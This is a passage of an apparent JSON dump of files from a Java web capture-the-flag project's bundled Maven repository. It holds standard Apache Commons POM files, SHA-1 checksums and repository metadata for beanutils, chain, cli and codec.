 </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.0</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-collections</groupId>\n      <artifactId>commons-collections</artifactId>\n      <version>2.0</version>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.7</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.6/commons-beanutils-1.6.pom.sha1",
    "content": "cb6192708aa48ef75e8d04bcde65bc8d5a6ccdbf  /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-beanutils/commons-beanutils/1.6/commons-beanutils-1.6.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.7.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ncommons-beanutils-1.7.0.pom>central=\ncommons-beanutils-1.7.0.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.jar.sha1",
    "content": "5675fd96b29656504b86029551973d60fb41339b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-beanutils</groupId>\n  <artifactId>commons-beanutils</artifactId>\n  <version>1.7.0</version>\n  <dependencies>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.0.3</version>\n    </dependency>\n  </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.7.0/commons-beanutils-1.7.0.pom.sha1",
    "content": "19eca029edacc1be30030faf43ea6acb30556d1a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.8.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\ncommons-beanutils-1.8.3.jar>central=\ncommons-beanutils-1.8.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.8.3/commons-beanutils-1.8.3.jar.sha1",
    "content": "686ef3410bcf4ab8ce7fd0b899e832aaba5facf7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.8.3/commons-beanutils-1.8.3.pom",
    "content": "<?xml version=\"1.0\"?>\n<!--\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n-->\n<project\n    xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>14</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-beanutils</groupId>\n  <artifactId>commons-beanutils</artifactId>\n  <version>1.8.3</version>\n  <name>Commons BeanUtils</name>\n\n  <inceptionYear>2000</inceptionYear>\n  <description>BeanUtils provides an easy-to-use but flexible wrapper around reflection and introspection.</description>\n\n  <url>http://commons.apache.org/beanutils/</url>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/BEANUTILS</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/beanutils/trunk/</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/beanutils/trunk/</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/beanutils/trunk/</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>Robert Burrell Donkin</name>\n      <id>rdonkin</id>\n      <email>rdonkin@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>dIon Gillard</name>\n      <id>dion</id>\n      <email>dion@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>Craig McClanahan</name>\n      <id>craigmcc</id>\n      <email>craigmcc@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>Geir Magnusson Jr.</name>\n      <id>geirm</id>\n      <email>geirm@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>Scott Sanders</name>\n      <id>sanders</id>\n      <email>sanders@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>James Strachan</name>\n      <id>jstrachan</id>\n      <email>jstrachan@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>Rodney Waldhoff</name>\n      <id>rwaldhoff</id>\n      <email>rwaldhoff@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>Martin van den Bemt</name>\n      <id>mvdb</id>\n      <email>mvdb@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>Yoav Shapira</name>\n      <id>yoavs</id>\n      <email>yoavs@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>Niall Pemberton</name>\n      <id>niallp</id>\n      <email>niallp at apache dot org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>Simon Kitching</name>\n      <id>skitching</id>\n      <email>skitching@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n    <developer>\n      <name>James Carman</name>\n      <id>jcarman</id>\n      <email>jcarman@apache.org</email>\n      <organization>Apache Software Foundation</organization>\n    </developer>\n  </developers>\n\n  <contributors>\n    <contributor>\n      <name>Paul Jack</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>Stephen Colebourne</name>\n      <email></email>\n    </contributor>\n    <contributor>\n      <name>Berin Loritsch</name>\n      <email></email>\n    </contributor>    \n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.1.1</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-collections</groupId>\n      <artifactId>commons-collections</artifactId> \n      <version>3.2.1</version> \n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>commons-collections</groupId>\n      <artifactId>commons-collections-testframework</artifactId> \n      <version>3.2.1</version> \n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n            <configuration>\n              <forkMode>pertest</forkMode>\n              <!-- limit memory size see BEANUTILS-291 -->\n              <argLine>-Xmx25M</argLine>\n              <includes>\n                <include>**/*TestCase.java</include>\n              </includes>\n              <excludes>\n                <!-- This test case is known to fail, and there isn't any proposed fix\n                  -  so we will just exclude it until someone comes up with a solution.\n                -->\n                <exclude>**/*MemoryTestCase.java</exclude>\n              </excludes>\n\n              <!-- Configure Logging -->\n              <redirectTestOutputToFile>true</redirectTestOutputToFile>\n              <systemPropertyVariables>\n                  <org.apache.commons.logging.LogFactory>org.apache.commons.logging.impl.LogFactoryImpl</org.apache.commons.logging.LogFactory>\n                  <org.apache.commons.logging.Log>org.apache.commons.logging.impl.SimpleLog</org.apache.commons.logging.Log>>\n                  <org.apache.commons.logging.simplelog.defaultlog>WARN</org.apache.commons.logging.simplelog.defaultlog>\n              </systemPropertyVariables>\n\n          </configuration>\n        </plugin>\n        <plugin>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <executions>\n            <execution>\n              <phase>package</phase>\n              <configuration>\n                <tasks>\n                  <ant antfile=\"build.xml\" target=\"other-jars\">\n                    <property name=\"component.version\"    value=\"${project.version}\"/>\n                    <property name=\"build.home\"           value=\"${project.build.directory}\"/>\n                    <property name=\"dist.home\"            value=\"${project.build.directory}\"/>\n                    <property name=\"compile.source\"       value=\"${maven.compile.source}\"/>\n                    <property name=\"compile.target\"       value=\"${maven.compile.target}\"/>\n                  </ant>\n                </tasks>\n              </configuration>\n              <goals>\n                <goal>run</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <configuration>\n                <descriptors>\n                    <descriptor>src/main/assembly/bin.xml</descriptor>\n                    <descriptor>src/main/assembly/src.xml</descriptor>\n                </descriptors>\n                <tarLongFileMode>gnu</tarLongFileMode>\n            </configuration>\n        </plugin>\n      </plugins>\n    </build>\n\n    <properties>\n        <maven.compile.source>1.3</maven.compile.source>\n        <maven.compile.target>1.3</maven.compile.target>\n        <commons.componentid>beanutils</commons.componentid>\n        <commons.release.version>1.8.3</commons.release.version>\n        <commons.jira.id>BEANUTILS</commons.jira.id>\n        <commons.jira.pid>12310460</commons.jira.pid>\n        <commons.osgi.export>\n              org.apache.commons.beanutils.*;version=${pom.version};-noimport:=true\n        </commons.osgi.export>\n    </properties> \n\n    <reporting>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-checkstyle-plugin</artifactId>\n                <version>2.3</version>\n                <configuration>\n                    <configLocation>${basedir}/checkstyle.xml</configLocation>\n                    <enableRulesSummary>false</enableRulesSummary>\n                    <headerLocation>${basedir}/license-header.txt</headerLocation>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.codehaus.mojo</groupId>\n                <artifactId>clirr-maven-plugin</artifactId>\n                <version>2.2.2</version>\n                <configuration>\n                    <comparisonVersion>1.8.2</comparisonVersion>\n                    <minSeverity>info</minSeverity>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-javadoc-plugin</artifactId>\n                <version>2.5</version>\n                <configuration>\n                    <linksource>true</linksource>\n                    <links>\n                        <link>http://java.sun.com/j2se/1.4.2/docs/api/</link>\n                        <link>http://commons.apache.org/collections/api-release/</link>\n                    </links>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-changes-plugin</artifactId>\n                <version>2.3</version>\n                <configuration>\n                    <issueLinkTemplatePerSystem>\n                        <default>%URL%/%ISSUE%</default>\n                    </issueLinkTemplatePerSystem>\n                </configuration>\n                <reportSets>\n                    <reportSet>\n                        <reports>\n                            <report>changes-report</report>\n                        </reports>\n                    </reportSet>\n                </reportSets>\n            </plugin>\n        </plugins>\n    </reporting>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-beanutils/commons-beanutils/1.8.3/commons-beanutils-1.8.3.pom.sha1",
    "content": "2ac6e1903d8c7b7f739163408fedd15794faa81b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-chain/commons-chain/1.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\ncommons-chain-1.1.jar>central=\ncommons-chain-1.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-chain/commons-chain/1.1/commons-chain-1.1.jar.sha1",
    "content": "3038bd41dcdb2b63b8c6dcc8c15f0fdf3f389012"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-chain/commons-chain/1.1/commons-chain-1.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-chain</groupId>\n  <artifactId>commons-chain</artifactId>\n  <name>Commons Chain</name>\n  <version>1.1</version>\n  <description>An implmentation of the GoF Chain of Responsibility pattern</description>\n  <url>http://jakarta.apache.org/commons/${pom.artifactId.substring(8)}/</url>\n  <issueManagement>\n    <url>http://issues.apache.org/jira/</url>\n  </issueManagement>\n  <inceptionYear>2003</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>commons-dev-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-dev-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-dev@jakarta.apache.org</archive>\n    </mailingList>\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>commons-user-subscribe@jakarta.apache.org</subscribe>\n      <unsubscribe>commons-user-unsubscribe@jakarta.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/eyebrowse/SummarizeList?listName=commons-user@jakarta.apache.org</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>craigmcc</id>\n      <name>Craig McClanahan</name>\n      <email>craigmcc@apache.org</email>\n    </developer>\n    <developer>\n      <id>husted</id>\n      <name>Ted Husted</name>\n      <email>husted@apache.org</email>\n    </developer>\n    <developer>\n      <id>martinc</id>\n      <name>Martin Cooper</name>\n      <email>martinc@apache.org</email>\n      <organization>Informatica</organization>\n    </developer>\n    <developer>\n      <id>mrdon</id>\n      <name>Don Brown</name>\n      <email>mrdon@apache.org</email>\n    </developer>\n    <developer>\n      <id>jmitchell</id>\n      <name>James Mitchell</name>\n      <email>jmitchell at apache.org</email>\n    </developer>\n    <developer>\n      <id>germuska</id>\n      <name>Joe Germuska</name>\n      <email>germuska at apache.org</email>\n    </developer>\n    <developer>\n      <id>niallp</id>\n      <name>Niall Pemberton</name>\n      <email>niallp at apache.org</email>\n    </developer>\n  </developers>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>/LICENSE.txt</url>\n    </license>\n  </licenses>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/jakarta/commons/proper/${pom.artifactId.substring(8)}/trunk</connection>\n    <url>http://svn.apache.org/viewcvs.cgi</url>\n  </scm>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://jakarta.apache.org</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <resources>\n      <resource>\n        <directory>${pom.build.unitTestSourceDirectory}</directory>\n        <includes>\n          <include>**/*.xml</include>\n        </includes>\n      </resource>\n      <resource>\n        <targetPath>META-INF</targetPath>\n        <directory>${basedir}</directory>\n        <includes>\n          <include>NOTICE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/*TestCase.java</include>\n          </includes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-xdoc-plugin</artifactId>\n        <version>1.9.2</version>\n        <configuration>\n          <comment>&lt;strong>Site Only&lt;/strong> - v1.9.2 (minimum)\n              required for building the Chain Site documentation.</comment>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-changelog-plugin</artifactId>\n        <version>1.8.2</version>\n        <configuration>\n          <comment>&lt;strong>Site Only&lt;/strong> - v1.8.2 (minimum)\n              required for building the Chain Site documentation.</comment>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>1.6</version>\n        <configuration>\n          <comment>&lt;strong>Site Only&lt;/strong> - v1.6 (minimum)\n              required for building the Chain Site documentation.</comment>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>servlet-api</artifactId>\n      <version>2.3</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>javax.portlet</groupId>\n      <artifactId>portlet-api</artifactId>\n      <version>1.0</version>\n    </dependency>\n    <dependency>\n      <groupId>myfaces</groupId>\n      <artifactId>myfaces-api</artifactId>\n      <version>1.1.0</version>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>commons-beanutils</groupId>\n      <artifactId>commons-beanutils</artifactId>\n      <version>1.7.0</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-digester</groupId>\n      <artifactId>commons-digester</artifactId>\n      <version>1.6</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.0.3</version>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <repository>\n      <id>default</id>\n      <name>Default Repository</name>\n      <url>file:///www/jakarta.apache.org/builds/jakarta-commons/${pom.artifactId.substring(8)}/</url>\n    </repository>\n    <site>\n      <id>default</id>\n      <name>Default Site</name>\n      <url>scp://people.apache.org//www/jakarta.apache.org/commons/${pom.artifactId.substring(8)}/</url>\n    </site>\n    <status>converted</status>\n  </distributionManagement>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-chain/commons-chain/1.1/commons-chain-1.1.pom.sha1",
    "content": "9925db0ce8bea3b13afdf0565bb1a14c1c8c645c  -\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\ncommons-cli-1.0.jar>central=\ncommons-cli-1.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.0/commons-cli-1.0.jar.sha1",
    "content": "6dac9733315224fc562f6268df58e92d65fd0137"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.0/commons-cli-1.0.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-cli</groupId>\n  <artifactId>commons-cli</artifactId>\n  <name>CLI</name>\n  <version>1.0</version>\n  <description>Commons CLI provides a simple API for working with the command line arguments and options.</description>\n  <inceptionYear>2002</inceptionYear>\n  <developers>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <email>jstrachan@apache.org</email>\n      <organization>SpiritSoft, Inc.</organization>\n    </developer>\n    <developer>\n      <id>bob</id>\n      <name>bob mcwhirter</name>\n      <email>bob@werken.com</email>\n      <organization>Werken</organization>\n    </developer>\n    <developer>\n      <id>jkeyes</id>\n      <name>John Keyes</name>\n      <email>jbjk@mac.com</email>\n      <organization>integral Source</organization>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>Berin Loritsch</name>\n      <email>bloritsch@apache.org</email>\n      <roles>\n        <role>helped in the Avalon CLI merge</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Peter Maddocks</name>\n      <email>peter_maddocks@hp.com</email>\n      <organization>Hewlett-Packard</organization>\n      <roles>\n        <role>supplied patch</role>\n      </roles>\n    </contributor>\n  </contributors>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <includes>\n            <include>**/*Test*.java</include>\n          </includes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.0</version>\n    </dependency>\n    <dependency>\n      <groupId>commons-lang</groupId>\n      <artifactId>commons-lang</artifactId>\n      <version>1.0</version>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.7</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.0/commons-cli-1.0.pom.sha1",
    "content": "bc51fd74ed7c8ccf75b3abc84b3613d6ba60eb89  /home/projects/maven/repository-staging/to-ibiblio/maven2/commons-cli/commons-cli/1.0/commons-cli-1.0.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:50 CST 2018\ncommons-cli-1.2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.2/commons-cli-1.2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>11</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>commons-cli</groupId>\n  <artifactId>commons-cli</artifactId>\n  <version>1.2</version>\n  <name>Commons CLI</name>\n\n  <inceptionYear>2002</inceptionYear>\n  <description>\n    Commons CLI provides a simple API for presenting, processing and validating a command line interface.\n  </description>\n\n  <url>http://commons.apache.org/cli/</url>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/CLI</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/cli/branches/cli-1.x/</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/cli/branches/cli-1.x/</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/cli/branches/cli-1.x/</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>James Strachan</name>\n      <id>jstrachan</id>\n      <email>jstrachan@apache.org</email>\n      <organization>SpiritSoft, Inc.</organization>\n    </developer>\n    <developer>\n      <name>Bob McWhirter</name>\n      <id>bob</id>\n      <email>bob@werken.com</email>\n      <organization>Werken</organization>\n      <roles>\n        <role>contributed ideas and code from werken.opt</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Keyes</name>\n      <id>jkeyes</id>\n      <email>jbjk@mac.com</email>\n      <organization>integral Source</organization>\n      <roles>\n        <role>contributed ideas and code from Optz</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rob Oxspring</name>\n      <id>roxspring</id>\n      <email>roxspring@imapmail.org</email>\n      <organization>Indigo Stone</organization>\n      <roles>\n        <role>designed CLI2</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <contributors>\n    <contributor>\n      <name>Peter Donald</name>\n      <roles>\n        <role>contributed ideas and code from Avalon Excalibur's cli package</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Brian Egge</name>\n      <roles>\n        <role>made the 1.1 release happen</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Berin Loritsch</name>\n      <email>bloritsch@apache.org</email>\n      <roles>\n        <role>helped in the Avalon CLI merge</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Peter Maddocks</name>\n      <email>peter_maddocks@hp.com</email>\n      <organization>Hewlett-Packard</organization>\n      <roles>\n        <role>supplied patch</role>\n      </roles>\n    </contributor>\n    <contributor>\n      <name>Andrew Shirley</name>\n      <roles>\n        <role>lots of fixes for 1.1</role>\n      </roles>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <!-- used for unit tests -->\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <properties>\n    <maven.compile.source>1.4</maven.compile.source>\n    <maven.compile.target>1.4</maven.compile.target>\n    <commons.componentid>cli</commons.componentid>\n    <commons.release.version>1.2</commons.release.version>\n    <commons.release.name>commons-cli-${commons.release.version}</commons.release.name>\n    <commons.osgi.symbolicName>org.apache.commons.cli</commons.osgi.symbolicName>\n    <commons.binary.suffix />\n    <commons.jira.id>CLI</commons.jira.id>\n    <commons.jira.pid>12310463</commons.jira.pid>\n    <!-- The RC version used in the staging repository URL. -->\n    <commons.rc.version>RC7</commons.rc.version>    \n  </properties>\n\n  <build>\n    <sourceDirectory>src/java</sourceDirectory>\n    <testSourceDirectory>src/test</testSourceDirectory>\n    <resources>\n      <resource>\n        <directory>.</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <plugins>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptors>\n            <descriptor>src/assembly/bin.xml</descriptor>\n            <descriptor>src/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n      <!--\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-ant-plugin</artifactId>\n        <version>2.1.1-SNAPSHOT</version>\n      </plugin>\n      -->\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>1.2</version>\n        <configuration>\n          <threshold>Normal</threshold>\n          <effort>Default</effort>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <configuration>\n          <configLocation>src/conf/checkstyle.xml</configLocation>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-pmd-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>cobertura-maven-plugin</artifactId>\n        <version>2.2</version>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>2.2.1</version>\n        <configuration>\n          <comparisonVersion>1.1</comparisonVersion>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n\n  <profiles>\n    <!-- Profile to let Gump choose the name of the jar file generated -->\n    <profile>\n      <id>gump</id>\n      <activation>\n        <property>\n          <name>maven.final.name</name>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-jar-plugin</artifactId>\n            <configuration>\n              <finalName>${maven.final.name}</finalName>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>rc</id>\n      <distributionManagement>\n        <!-- Cannot define in parent ATM, see COMMONSSITE-26 -->\n        <site>\n          <id>apache.website</id>\n          <name>Apache Commons Release Candidate Staging Site</name>\n          <url>${commons.deployment.protocol}://people.apache.org/www/people.apache.org/builds/commons/${commons.componentid}/${commons.release.version}/${commons.rc.version}/site</url>\n        </site>\n      </distributionManagement>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-cli/commons-cli/1.2/commons-cli-1.2.pom.sha1",
    "content": "e1b71e4b511c3c63f8b19d0302fe1d1c6e79035a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.10/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\ncommons-codec-1.10.jar>central=\ncommons-codec-1.10.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.10/commons-codec-1.10.jar.sha1",
    "content": "4b95f4897fa13f2cd904aee711aeafc0c5295cd8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/commons-codec/commons-codec/1.10/commons-codec-1.10.pom",
